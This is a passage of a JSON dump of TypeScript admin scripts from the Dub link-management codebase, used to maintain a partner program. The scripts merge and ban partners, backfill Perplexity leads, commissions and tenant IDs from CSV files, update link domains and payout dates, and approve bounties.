    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const programsByEnrollmentCount = await prisma.programEnrollment.groupBy({\n    by: [\"programId\"],\n    _count: {\n      programId: true,\n    },\n    orderBy: {\n      _count: {\n        programId: \"desc\",\n      },\n    },\n    take: 100,\n  });\n\n  const filteredProgramsByEnrollmentCount = programsByEnrollmentCount.filter(\n    (program) => program._count.programId > 500,\n  );\n\n  console.table(filteredProgramsByEnrollmentCount);\n\n  const programs = await prisma.program\n    .findMany({\n      where: {\n        id: {\n          in: filteredProgramsByEnrollmentCount.map(\n            (program) => program.programId,\n          ),\n        },\n      },\n    })\n    .then((programs) =>\n      programs\n        .map((program) => ({\n          id: program.id,\n          slug: program.slug,\n          enrollmentCount:\n            filteredProgramsByEnrollmentCount.find(\n              (p) => p.programId === program.id,\n            )?._count.programId ?? 0,\n        }))\n        .sort((a, b) => b.enrollmentCount - a.enrollmentCount),\n    );\n\n  console.table(programs);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/partners/invalidate-partner-links.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport { linkCache } from \"../../lib/api/links/cache\";\n\n// one time script to invalidate partner links\nasync function main() {\n  const links = await prisma.link.findMany({\n    where: {\n      programId: {\n        not: null,\n      },\n      partnerId: {\n        not: null,\n      },\n      // last clicked within the last 24 hours (would've been cached)\n      lastClicked: {\n        gte: new Date(Date.now() - 24 * 60 * 60 * 1000),\n      },\n    },\n    skip: 0,\n    take: 200,\n  });\n\n  const res = await linkCache.expireMany(links);\n  console.log(res);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/partners/merge-partner-profile.ts",
    "content": "import { includeProgramEnrollment } from \"@/lib/api/links/include-program-enrollment\";\nimport { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport { includeTags } from \"../../lib/api/links/include-tags\";\nimport { recordLink } from \"../../lib/tinybird/record-link\";\n\n// merge partner profiles\nconst oldPartnerId = \"pn_xxx\";\nconst newPartnerId = \"pn_xxx\";\nconst programId = \"prog_xxx\";\n\nasync function main() {\n  // update programEnrollment\n\n  const programEnrollment = await prisma.programEnrollment.update({\n    where: {\n      partnerId_programId: {\n        partnerId: oldPartnerId,\n        programId,\n      },\n    },\n    data: {\n      partnerId: newPartnerId,\n    },\n  });\n  console.log(\"programEnrollment\", programEnrollment);\n\n  // update commissions\n\n  const commissions = await prisma.commission.updateMany({\n    where: {\n      programId,\n      partnerId: oldPartnerId,\n    },\n    data: {\n      partnerId: newPartnerId,\n    },\n  });\n\n  // update payouts\n\n  const payouts = await prisma.payout.updateMany({\n    where: {\n      programId,\n      partnerId: oldPartnerId,\n    },\n    data: {\n      partnerId: newPartnerId,\n    },\n  });\n\n  // update links + recordLink in TB\n  await prisma.link.updateMany({\n    where: {\n      programId,\n      partnerId: oldPartnerId,\n    },\n    data: {\n      partnerId: newPartnerId,\n    },\n  });\n\n  const updatedLinks = await prisma.link.findMany({\n    where: {\n      programId,\n      partnerId: newPartnerId,\n    },\n    include: {\n      ...includeTags,\n      ...includeProgramEnrollment,\n    },\n  });\n\n  console.log(\"updatedLinks\", updatedLinks);\n\n  const tbRes = await recordLink(updatedLinks);\n  console.log(\"tbRes\", tbRes);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/partners/update-links.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport { linkCache } from \"../../lib/api/links/cache\";\nimport { includeTags } from \"../../lib/api/links/include-tags\";\nimport { recordLink } from \"../../lib/tinybird\";\n\nconst oldDomain = \"pinnacle-odds-dropper.link\";\nconst newDomain = \"go.pinnacleoddsdropper.com\";\n\n// update links\nasync function main() {\n  const links = await prisma.link.findMany({\n    where: {\n      domain: oldDomain,\n      key: {\n        not: \"_root\",\n      },\n    },\n    include: includeTags,\n    take: 100,\n  });\n\n  const updatedLinks = await prisma.link.updateMany({\n    where: {\n      id: {\n        in: links.map((link) => link.id),\n      },\n    },\n    data: {\n      domain: newDomain,\n    },\n  });\n\n  console.log(updatedLinks);\n\n  const res = await Promise.all([\n    linkCache.expireMany(links),\n    recordLink(\n      links.map((link) => ({\n        ...link,\n        domain: newDomain,\n      })),\n    ),\n  ]);\n\n  await Promise.all(\n    links.map(async (link) => {\n      return await prisma.link.update({\n        where: {\n          id: link.id,\n        },\n        data: {\n          shortLink: link.shortLink.replace(oldDomain, newDomain),\n        },\n      });\n    }),\n  );\n\n  console.log(res);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/partners/update-partner-country.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport { stripeConnectClient } from \"../stripe/connect-client\";\n\nconst email = \"xxx\";\n\n// update partner country\nasync function main() {\n  const partner = await prisma.partner.update({\n    where: {\n      email,\n    },\n    data: {\n      country: \"US\",\n      profileType: \"company\",\n    },\n  });\n\n  if (partner.stripeConnectId) {\n    console.log(\"deleting stripe connect account\");\n    const res = await stripeConnectClient.accounts.del(partner.stripeConnectId);\n    console.log(\"res\", res);\n\n    if (res.deleted) {\n      await prisma.partner.update({\n        where: {\n          email,\n        },\n        data: {\n          stripeConnectId: null,\n          payoutsEnabledAt: null,\n        },\n      });\n    }\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/partners/update-payout-dates.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  // get all payouts with periodEnd that ends in 00:00:00.000\n  const payoutsToUpdate = await prisma.payout.findMany({\n    where: {\n      periodEnd: new Date(\"2024-07-01T00:00:00.000Z\"),\n    },\n    select: {\n      id: true,\n      periodStart: true,\n      periodEnd: true,\n    },\n    orderBy: {\n      createdAt: \"desc\",\n    },\n    take: 250,\n  });\n\n  console.table(payoutsToUpdate);\n\n  const res = await prisma.payout.updateMany({\n    where: {\n      id: {\n        in: payoutsToUpdate.map((p) => p.id),\n      },\n    },\n    data: {\n      periodEnd: new Date(\"2024-06-30T23:59:59.999Z\"),\n    },\n  });\n\n  console.log(`Updated ${res.count} payouts.`);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/perplexity/backfill-leads.ts",
    "content": "// @ts-nocheck some weird typing issues below\n\nimport { createId } from \"@/lib/api/create-id\";\nimport { generateRandomName } from \"@/lib/names\";\nimport { determinePartnerReward } from \"@/lib/partners/determine-partner-reward\";\nimport { prisma } from \"@dub/prisma\";\nimport { EventType } from \"@dub/prisma/client\";\nimport { capitalize, nanoid } from \"@dub/utils\";\nimport { COUNTRIES_TO_CONTINENTS } from \"@dub/utils/src/constants/continents\";\nimport { geolocation } from \"@vercel/functions\";\nimport \"dotenv-flow/config\";\nimport * as fs from \"fs\";\nimport { userAgent } from \"next/server\";\nimport * as Papa from \"papaparse\";\nimport { recordLeadWithTimestamp } from \"../../lib/tinybird/record-lead\";\n\nlet leadsToBackfill: {\n  customerExternalId: string;\n  partnerLinkKey: string;\n  country: string;\n  timestamp: string;\n}[] = [];\n\nasync function main() {\n  Papa.parse(fs.createReadStream(\"perplexity_leads.csv\", \"utf-8\"), {\n    header: true,\n    skipEmptyLines: true,\n    step: (result: {\n      data: {\n        CUSTOM_USER_ID: string;\n        CAMPAIGN_NAME: string;\n        COUNTRY: string;\n        ADJUSTED_TIMESTAMP: string;\n      };\n    }) => {\n      leadsToBackfill.push({\n        customerExternalId: result.data.CUSTOM_USER_ID,\n        partnerLinkKey: result.data.CAMPAIGN_NAME,\n        country: result.data.COUNTRY,\n        timestamp: result.data.ADJUSTED_TIMESTAMP,\n      });\n    },\n    complete: async () => {\n      console.log(`Found ${leadsToBackfill.length} leads to backfill`);\n\n      const workspace = await prisma.project.findUniqueOrThrow({\n        where: {\n          id: \"xxx\",\n        },\n      });\n\n      const partnerLinks = await prisma.link.findMany({\n        where: {\n          domain: \"pplx.ai\",\n          key: {\n            in: leadsToBackfill.map((lead) => lead.partnerLinkKey),\n          },\n        },\n      });\n\n      //   const statsByLink = leadsToBackfill\n      //     .filter((lead) =>\n      //       partnerLinks.some(\n      //         (link) =>\n      //           link.key.toLowerCase() === lead.partnerLinkKey.toLowerCase(),\n      //       ),\n      //     )\n      //     .reduce(\n      //       (acc, lead) => {\n      //         const link = partnerLinks.find(\n      //           (link) =>\n      //             link.key.toLowerCase() === lead.partnerLinkKey.toLowerCase(),\n      //         )!;\n      //         acc[link.id] = {\n      //           clicks: (acc[link.id]?.clicks || 0) + 1,\n      //           leads: (acc[link.id]?.leads || 0) + 1,\n      //           conversions: (acc[link.id]?.conversions || 0) + 1,\n      //         };\n      //         return acc;\n      //       },\n      //       {} as Record<\n      //         string,\n      //         {\n      //           clicks: number;\n      //           leads: number;\n      //           conversions: number;\n      //         }\n      //       >,\n      //     );\n\n      //   for (const [linkId, stats] of Object.entries(statsByLink)) {\n      //     const res = await prisma.link.update({\n      //       where: { id: linkId },\n      //       data: {\n      //         clicks: {\n      //           increment: stats.clicks,\n      //         },\n      //         leads: {\n      //           increment: stats.leads,\n      //         },\n      //       },\n      //     });\n      //     console.log(\n      //       `Updated ${linkId} to ${res.clicks} clicks (+${stats.clicks} clicks), ${res.leads} leads (+${stats.leads} leads), ${res.conversions} conversions (+${stats.conversions} conversions)`,\n      //     );\n      //   }\n\n      const clicksToCreate = await Promise.all(\n        leadsToBackfill.map(async (lead) => {\n          const link = partnerLinks.find(\n            (link) =>\n              link.key.toLowerCase() === lead.partnerLinkKey.toLowerCase(),\n          );\n          if (!link) {\n            return null;\n          }\n          const req = new Request(link.url, {\n            headers: new Headers({\n              \"user-agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)\",\n              \"x-forwarded-for\": \"127.0.0.1\",\n              \"x-vercel-ip-country\": lead.country.toUpperCase(),\n              \"x-vercel-ip-continent\":\n                COUNTRIES_TO_CONTINENTS[lead.country.toUpperCase()],\n            }),\n          });\n\n          const clickId = nanoid(16);\n          const geo = geolocation(req);\n          const ua = userAgent(req);\n\n          return {\n            timestamp: new Date(lead.timestamp).toISOString(),\n            identity_hash: lead.customerExternalId,\n            click_id: clickId,\n            workspace_id: workspace.id,\n            link_id: link.id,\n            domain: link.domain,\n            key: link.key,\n            url: link.url,\n            ip: \"\",\n            continent: req.headers.get(\"x-vercel-ip-continent\") || \"\",\n            country: geo.country || \"Unknown\",\n            region: \"Unknown\",\n            city: geo.city || \"Unknown\",\n            latitude: geo.latitude || \"Unknown\",\n            longitude: geo.longitude || \"Unknown\",\n            vercel_region: geo.region || \"\",\n            device: capitalize(ua.device.type) || \"Desktop\",\n            device_vendor: ua.device.vendor || \"Unknown\",\n            device_model: ua.device.model || \"Unknown\",\n            browser: ua.browser.name || \"Unknown\",\n            browser_version: ua.browser.version || \"Unknown\",\n            engine: ua.engine.name || \"Unknown\",\n            engine_version: ua.engine.version || \"Unknown\",\n            os: ua.os.name || \"Unknown\",\n            os_version: ua.os.version || \"Unknown\",\n            cpu_architecture: ua.cpu?.architecture || \"Unknown\",\n            ua: ua.ua || \"Unknown\",\n            bot: 0,\n            qr: 0,\n            referer: \"(direct)\",\n            referer_url: \"(direct)\",\n            trigger: \"link\",\n          };\n        }),\n      ).then((res) => res.filter((r) => r !== null));\n\n      // Record clicks\n      const clickRes = await fetch(\n        `${process.env.TINYBIRD_API_URL}/v0/events?name=dub_click_events&wait=true`,\n        {\n          method: \"POST\",\n          headers: {\n            Authorization: `Bearer ${process.env.TINYBIRD_API_KEY}`,\n            \"Content-Type\": \"application/x-ndjson\",\n          },\n          body: clicksToCreate.map((d) => JSON.stringify(d)).join(\"\\n\"),\n        },\n      ).then((res) => res.json());\n      console.log(\"backfilled clicks\", JSON.stringify(clickRes, null, 2));\n\n      const customersToCreate = leadsToBackfill\n        .map((lead, idx) => {\n          const clickData = clicksToCreate[idx];\n          if (!clickData) {\n            return null;\n          }\n          return {\n            id: createId({ prefix: \"cus_\" }),\n            name: generateRandomName(),\n            externalId: lead.customerExternalId,\n            projectId: workspace.id,\n            projectConnectId: workspace.stripeConnectId,\n            clickId: clickData.click_id,\n            linkId: clickData.link_id,\n            country: clickData.country,\n            clickedAt: new Date(lead.timestamp).toISOString(),\n            createdAt: new Date(lead.timestamp).toISOString(),\n          };\n        })\n        .filter((c) => c !== null);\n\n      const customerRes = await prisma.customer.createMany({\n        data: customersToCreate,\n        skipDuplicates: true,\n      });\n      console.log(\"backfilled customers\", JSON.stringify(customerRes, null, 2));\n\n      const leadsToCreate = clicksToCreate.map((clickData, idx) => ({\n        ...clickData,\n        event_id: nanoid(16),\n        event_name: \"activated\",\n        customer_id: customersToCreate[idx]!.id,\n      }));\n\n      const leadRes = await recordLeadWithTimestamp(leadsToCreate);\n      console.log(\"backfilled leads\", JSON.stringify(leadRes, null, 2));\n\n      const leadReward = await prisma.reward.findUniqueOrThrow({\n        where: {\n          id: \"rw_1K1KTWJPS14SEENXFHE0FYN7J\",\n        },\n      });\n\n      const commissionsToCreate = leadsToCreate\n        .map((leadData) => {\n          const reward = determinePartnerReward({\n            event: EventType.lead,\n            programEnrollment: {\n              totalCommissions: 0,\n              leadReward: leadReward,\n            },\n            context: {\n              customer: {\n                country: leadData.country,\n              },\n            },\n          });\n\n          if (!reward) {\n            return null;\n          }\n\n          const link = partnerLinks.find(\n            (link) => link.id === leadData.link_id,\n          );\n\n          if (!link) {\n            console.log(`Link not found for lead ${leadData.event_id}`);\n            return null;\n          }\n\n          return {\n            id: createId({ prefix: \"cm_\" }),\n            programId: link.programId!,\n            partnerId: link.partnerId!,\n            rewardId: reward.id,\n            customerId: leadData.customer_id,\n            linkId: link.id,\n            eventId: leadData.event_id,\n            quantity: 1,\n            amount: 0,\n            type: EventType.lead,\n            earnings: reward.amount,\n            createdAt: new Date(leadData.timestamp).toISOString(),\n          };\n        })\n        .filter((c) => c !== null);\n\n      const commissionRes = await prisma.commission.createMany({\n        data: commissionsToCreate,\n        skipDuplicates: true,\n      });\n      console.log(\n        \"backfilled commissions\",\n        JSON.stringify(commissionRes, null, 2),\n      );\n\n      //   const commissionByPartnerId = commissionsToCreate.reduce(\n      //     (acc, c) => {\n      //       acc[c.partnerId] = (acc[c.partnerId] || 0) + c.earnings;\n      //       return acc;\n      //     },\n      //     {} as Record<string, number>,\n      //   );\n\n      //   for (const [partnerId, amount] of Object.entries(commissionByPartnerId)) {\n      //     const res = await prisma.programEnrollment.update({\n      //       where: {\n      //         partnerId_programId: {\n      //           partnerId,\n      //           programId: workspace.defaultProgramId!,\n      //         },\n      //       },\n      //       data: {\n      //         totalCommissions: {\n      //           increment: amount,\n      //         },\n      //       },\n      //     });\n      //     console.log(\n      //       `Updated ${partnerId} to ${res.totalCommissions} total commissions (+${amount} commissions)`,\n      //     );\n      //   }\n\n      const totalCommissionAmount = commissionsToCreate.reduce(\n        (acc, c) => acc + c.earnings,\n        0,\n      );\n      console.log(`Total commission amount: ${totalCommissionAmount}`);\n    },\n  });\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/perplexity/backfill-tenantids.ts",
    "content": "import { includeTags } from \"@/lib/api/links/include-tags\";\nimport { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport * as fs from \"fs\";\nimport * as Papa from \"papaparse\";\nimport { recordLink } from \"../../lib/tinybird/record-link\";\n\nconst programId = \"prog_xxx\";\n\nlet partnersToBackfill: {\n  partnerId: string;\n  tenantId: string;\n}[] = [];\n\nasync function main() {\n  Papa.parse(fs.createReadStream(\"pplx_partnerId_tenantId.csv\", \"utf-8\"), {\n    header: true,\n    skipEmptyLines: true,\n    step: (result: {\n      data: {\n        PARTNERID: string;\n        TENANTID: string;\n      };\n    }) => {\n      if (result.data.PARTNERID && result.data.TENANTID) {\n        partnersToBackfill.push({\n          partnerId: result.data.PARTNERID,\n          tenantId: result.data.TENANTID,\n        });\n      }\n    },\n    complete: async () => {\n      //filter out partners that are already backfilled\n      const alreadyBackfilledPartners = await prisma.programEnrollment.findMany(\n        {\n          where: {\n            programId,\n            tenantId: {\n              not: null,\n            },\n          },\n        },\n      );\n      const filteredPartnersToBackfill = partnersToBackfill.filter(\n        (partner) =>\n          !alreadyBackfilledPartners.some(\n            (p) => p.partnerId === partner.partnerId,\n          ),\n      );\n\n      console.log(\n        `Found ${filteredPartnersToBackfill.length} partners to backfill`,\n      );\n\n      for (const partner of filteredPartnersToBackfill) {\n        const where = {\n          programId,\n          partnerId: partner.partnerId,\n        };\n\n        const programEnrollment = await prisma.$transaction(async (tx) => {\n          await tx.link.updateMany({\n            where,\n            data: {\n              tenantId: partner.tenantId,\n            },\n          });\n          return await tx.programEnrollment.update({\n            where: {\n              partnerId_programId: where,\n            },\n            data: {\n              tenantId: partner.tenantId,\n            },\n            include: {\n              links: {\n                include: includeTags,\n              },\n            },\n          });\n        });\n\n        console.log(\n          `Updated ${partner.partnerId} and their ${programEnrollment.links.length} links with tenantId ${partner.tenantId}`,\n        );\n\n        const tbRes = await recordLink(\n          programEnrollment.links.map((l) => ({\n            ...l,\n            programEnrollment: { groupId: programEnrollment.groupId },\n          })),\n        );\n\n        console.log(\"tbRes\", tbRes);\n      }\n    },\n  });\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/perplexity/ban-partners.ts",
    "content": "import { BAN_PARTNER_REASONS } from \"@/lib/zod/schemas/partners\";\nimport PartnerBanned from \"@dub/email/templates/partner-banned\";\nimport { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport * as fs from \"fs\";\nimport * as Papa from \"papaparse\";\nimport { linkCache } from \"../../lib/api/links/cache\";\nimport { syncTotalCommissions } from \"../../lib/api/partners/sync-total-commissions\";\nimport { queueBatchEmail } from \"../../lib/email/queue-batch-email\";\nimport { recordLink } from \"../../lib/tinybird\";\n\nlet partnersToBan: string[] = [];\nconst bannedReason = \"fraud\";\n\nasync function main() {\n  Papa.parse(fs.createReadStream(\"pplx_fraud_ban.csv\", \"utf-8\"), {\n    header: true,\n    skipEmptyLines: true,\n    step: (result: {\n      data: {\n        PARTNER_ID: string;\n      };\n    }) => {\n      if (result.data.PARTNER_ID) {\n        partnersToBan.push(result.data.PARTNER_ID);\n      }\n    },\n    complete: async () => {\n      const programId = \"prog_xxx\";\n      const program = await prisma.program.findUniqueOrThrow({\n        where: {\n          id: programId,\n        },\n      });\n\n      while (true) {\n        const programEnrollments = await prisma.programEnrollment.findMany({\n          where: {\n            programId,\n            status: {\n              not: \"banned\",\n            },\n            partnerId: {\n              in: partnersToBan,\n            },\n          },\n          include: {\n            links: true,\n            partner: true,\n          },\n          orderBy: {\n            totalCommissions: \"desc\",\n          },\n          take: 100,\n        });\n\n        if (programEnrollments.length === 0) {\n          console.log(\"No partners found\");\n          break;\n        }\n\n        console.log(`Found ${programEnrollments.length} partners to ban`);\n\n        const commonWhere = {\n          programId,\n          partnerId: {\n            in: programEnrollments.map((p) => p.partnerId),\n          },\n        };\n\n        // if there are a lot of commissions, need to cancel them first\n        // for (const enrollment of programEnrollments) {\n        //   while (true) {\n        //     const commissions = await prisma.commission.findMany({\n        //       where: {\n        //         programId,\n        //         partnerId: enrollment.partnerId,\n        //         status: \"pending\",\n        //       },\n        //       take: 500,\n        //     });\n\n        //     if (commissions.length === 0) {\n        //       break;\n        //     }\n\n        //     const res = await prisma.commission.updateMany({\n        //       where: {\n        //         id: {\n        //           in: commissions.map((commission) => commission.id),\n        //         },\n        //       },\n        //       data: {\n        //         status: \"canceled\",\n        //       },\n        //     });\n        //     console.log(\n        //       `Canceled ${res.count} commissions for partner ${enrollment.partnerId}`,\n        //     );\n        //   }\n        // }\n\n        const prismaRes = await prisma.$transaction([\n          prisma.link.updateMany({\n            where: commonWhere,\n            data: {\n              disabledAt: new Date(),\n              expiresAt: new Date(),\n            },\n          }),\n\n          prisma.programEnrollment.updateMany({\n            where: commonWhere,\n            data: {\n              status: \"banned\",\n              bannedAt: new Date(),\n              bannedReason,\n              clickRewardId: null,\n              leadRewardId: null,\n              saleRewardId: null,\n              discountId: null,\n            },\n          }),\n          prisma.commission.updateMany({\n            where: {\n              ...commonWhere,\n              status: \"pending\",\n            },\n            data: {\n              status: \"canceled\",\n            },\n          }),\n\n          prisma.payout.updateMany({\n            where: {\n              ...commonWhere,\n              status: \"pending\",\n            },\n            data: {\n              status: \"canceled\",\n            },\n          }),\n\n          prisma.bountySubmission.updateMany({\n            where: {\n              ...commonWhere,\n              status: {\n                not: \"approved\",\n              },\n            },\n            data: {\n              status: \"rejected\",\n            },\n          }),\n        ]);\n        console.log(\"prismaRes\", prismaRes);\n\n        const partnerLinks = programEnrollments.flatMap((p) => p.links);\n        const redisRes = await linkCache.expireMany(partnerLinks);\n        console.log(\"redisRes\", redisRes);\n\n        const tbRes = await recordLink(partnerLinks, { deleted: true });\n        console.log(\"tbRes\", tbRes);\n\n        const commissionsRes = await Promise.all(\n          programEnrollments.map(({ partner }) =>\n            syncTotalCommissions({\n              partnerId: partner.id,\n              programId,\n            }),\n          ),\n        );\n\n        console.log(\"commissionsRes\", commissionsRes);\n\n        const qstashRes = await queueBatchEmail<typeof PartnerBanned>(\n          programEnrollments.map((p) => ({\n            to: p.partner.email!,\n            subject: `You've been banned from the ${program.name} Partner Program`,\n            variant: \"notifications\",\n            replyTo: program.supportEmail || \"noreply\",\n            templateName: \"PartnerBanned\",\n            templateProps: {\n              partner: {\n                name: p.partner.name,\n                email: p.partner.email!,\n              },\n              program: {\n                name: program.name,\n                slug: program.slug,\n              },\n              bannedReason: BAN_PARTNER_REASONS[bannedReason],\n            },\n          })),\n        );\n        console.log(\"qstashRes\", qstashRes);\n      }\n    },\n  });\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/perplexity/deactivate-partners.ts",
    "content": "import PartnerDeactivated from \"@dub/email/templates/partner-deactivated\";\nimport { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport { linkCache } from \"../../lib/api/links/cache\";\nimport { queueBatchEmail } from \"../../lib/email/queue-batch-email\";\n\nasync function main() {\n  const programId = \"prog_xxx\";\n  const program = await prisma.program.findUniqueOrThrow({\n    where: {\n      id: programId,\n    },\n  });\n\n  const partners = await prisma.programEnrollment.findMany({\n    where: {\n      programId,\n      status: \"approved\",\n      groupId: \"grp_xxx\",\n      partner: {\n        users: {\n          some: {},\n        },\n      },\n    },\n    include: {\n      links: true,\n      partner: true,\n    },\n    take: 500,\n  });\n\n  if (partners.length === 0) {\n    console.log(\"No partners found\");\n    return;\n  }\n\n  const where = {\n    programId,\n    partnerId: {\n      in: partners.map((p) => p.partnerId),\n    },\n  };\n\n  const prismaRes = await prisma.$transaction([\n    prisma.link.updateMany({\n      where,\n      data: {\n        expiresAt: new Date(),\n      },\n    }),\n\n    prisma.programEnrollment.updateMany({\n      where,\n      data: {\n        status: \"deactivated\",\n        clickRewardId: null,\n        leadRewardId: null,\n        saleRewardId: null,\n        discountId: null,\n      },\n    }),\n  ]);\n  console.log(\"prismaRes\", prismaRes);\n\n  const partnerLinks = partners.flatMap((p) => p.links);\n  const redisRes = await linkCache.expireMany(partnerLinks);\n  console.log(\"redisRes\", redisRes);\n\n  const qstashRes = await queueBatchEmail<typeof PartnerDeactivated>(\n    partners.map((p) => ({\n      variant: \"notifications\",\n      subject: \"Your partnership with Perplexity has been deactivated\",\n      to: p.partner.email!,\n      replyTo: program.supportEmail || \"noreply\",\n      templateName: \"PartnerDeactivated\",\n      templateProps: {\n        partner: {\n          name: p.partner.name,\n          email: p.partner.email!,\n        },\n        program: {\n          name: program.name,\n          slug: program.slug,\n        },\n        deactivatedReason: \"because...\",\n      },\n    })),\n  );\n  console.log(\"qstashRes\", qstashRes);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/perplexity/move-partners.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nconst EMAIL_DOMAINS = [];\n\nasync function main() {\n  const matchingPartners = await prisma.partner.findMany({\n    where: {\n      OR: EMAIL_DOMAINS.map((domain) => ({\n        email: {\n          endsWith: `@${domain}`,\n        },\n      })),\n      programs: {\n        some: {\n          programId: \"prog_xxx\",\n          groupId: \"grp_xxx\",\n          status: \"approved\",\n        },\n      },\n    },\n    select: {\n      id: true,\n      email: true,\n    },\n  });\n\n  console.table(matchingPartners);\n\n  const group = await prisma.partnerGroup.findUniqueOrThrow({\n    where: {\n      id: \"grp_xxx\",\n    },\n  });\n\n  const { count } = await prisma.programEnrollment.updateMany({\n    where: {\n      partnerId: {\n        in: matchingPartners.map((p) => p.id),\n      },\n      programId: \"prog_xxx\",\n    },\n    data: {\n      groupId: group.id,\n      clickRewardId: group.clickRewardId,\n      leadRewardId: group.leadRewardId,\n      saleRewardId: group.saleRewardId,\n      discountId: group.discountId,\n    },\n  });\n  console.log(`Moved ${count} partners to group ${group.id}`);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/perplexity/partners-updated-countries.ts",
    "content": "import { partnerProfileChangeHistoryLogSchema } from \"@/lib/zod/schemas/partner-profile\";\nimport { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport * as fs from \"fs\";\nimport * as Papa from \"papaparse\";\n\nconst programId = \"prog_xxx\";\n\nasync function main() {\n  const partners = await prisma.partner.findMany({\n    where: {\n      programs: {\n        some: {\n          programId,\n          status: \"approved\",\n        },\n      },\n      country: {\n        not: \"US\",\n      },\n      changeHistoryLog: {\n        path: \"$[*].from\",\n        array_contains: \"US\",\n      },\n      commissions: {\n        some: {\n          programId,\n          status: {\n            in: [\"pending\", \"processed\"],\n          },\n        },\n      },\n    },\n    include: {\n      commissions: {\n        where: {\n          programId,\n          status: {\n            in: [\"pending\", \"processed\"],\n          },\n        },\n      },\n    },\n  });\n\n  const finalPartners = partners.map((p) => {\n    const changeHistoryLog = partnerProfileChangeHistoryLogSchema.parse(\n      p.changeHistoryLog,\n    );\n    const finalCountryChange = changeHistoryLog\n      .filter((ch) => ch.field === \"country\") // filter by country field\n      .sort((a, b) => b.changedAt.getTime() - a.changedAt.getTime())[0]; // sort by changedAt descending\n    return {\n      id: p.id,\n      email: p.email,\n      pendingCommissions: p.commissions.reduce(\n        (acc, commission) => acc + commission.earnings,\n        0,\n      ),\n      changedFrom: finalCountryChange?.from,\n      changedTo: finalCountryChange?.to,\n      currentCountry: p.country,\n      changedAt: finalCountryChange?.changedAt,\n    };\n  });\n\n  console.table(finalPartners);\n\n  fs.writeFileSync(\"output.csv\", Papa.unparse(finalPartners));\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/perplexity/review-bounties.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport BountyApproved from \"@dub/email/templates/bounty-approved\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport { chunk } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\nimport { syncTotalCommissions } from \"../../lib/api/partners/sync-total-commissions\";\nimport { queueBatchEmail } from \"../../lib/email/queue-batch-email\";\n\nconst userId = \"user_xxx\";\n\n// approve bounty submissions\nasync function main() {\n  const bounty = await prisma.bounty.findUniqueOrThrow({\n    where: {\n      id: \"bnty_xxx\",\n    },\n  });\n\n  const bountySubmissions = await prisma.bountySubmission.findMany({\n    where: {\n      bountyId: bounty.id,\n      status: \"submitted\",\n    },\n    take: 1000,\n    include: {\n      partner: true,\n      program: true,\n    },\n  });\n\n  console.log(`Found ${bountySubmissions.length} bounty submissions`);\n\n  const commissionsToCreate = bountySubmissions.map((submission) => ({\n    id: createId({ prefix: \"cm_\" }),\n    programId: submission.programId,\n    partnerId: submission.partnerId,\n    userId,\n    quantity: 1,\n    amount: 0,\n    type: \"custom\",\n    earnings: bounty.rewardAmount ?? 0,\n    description: `Commission for successfully completed \"${bounty.name}\" bounty.`,\n    createdAt: new Date(),\n  })) satisfies Prisma.CommissionCreateManyInput[];\n\n  const commissionRes = await prisma.commission.createMany({\n    data: commissionsToCreate,\n    skipDuplicates: true,\n  });\n\n  console.log(`Created ${commissionRes.count} commissions`);\n\n  const submissionsUpdatedRes = await prisma.bountySubmission.updateMany({\n    where: {\n      id: {\n        in: bountySubmissions.map((submission) => submission.id),\n      },\n    },\n    data: {\n      status: \"approved\",\n      reviewedAt: new Date(),\n      userId,\n    },\n  });\n\n  console.log(`Updated ${submissionsUpdatedRes.count} submissions`);\n\n  const chunks = chunk(bountySubmissions, 50);\n  for (let i = 0; i < chunks.length; i++) {\n    const chunk = chunks[i];\n    await Promise.allSettled(\n      chunk.map(async (submission) => {\n        const commission = commissionsToCreate.find(\n          (c) =>\n            c.programId === submission.programId &&\n            c.partnerId === submission.partnerId,\n        );\n        if (!commission) {\n          console.log(`Commission not found for submission ${submission.id}`);\n          return;\n        }\n        await Promise.allSettled([\n          prisma.bountySubmission.update({\n            where: { id: submission.id },\n            data: { commissionId: commission.id },\n          }),\n          syncTotalCommissions({\n            partnerId: submission.partnerId,\n            programId: submission.programId,\n          }),\n        ]);\n      }),\n    );\n    console.log(`Processed chunk ${i + 1} of ${chunks.length}`);\n  }\n\n  const qstashRes = await queueBatchEmail<typeof BountyApproved>(\n    bountySubmissions.map((s) => ({\n      subject: \"Bounty approved!\",\n      to: s.partner.email!,\n      variant: \"notifications\",\n      replyTo: s.program.supportEmail || \"noreply\",\n      templateName: \"BountyApproved\",\n      templateProps: {\n        email: s.partner.email!,\n        program: {\n          name: s.program.name,\n          slug: s.program.slug,\n        },\n        bounty: {\n          name: bounty.name,\n          type: bounty.type,\n        },\n      },\n    })),\n  );\n  console.log(\"qstashRes\", qstashRes);\n}\n\nmain();\n"
  },
  {
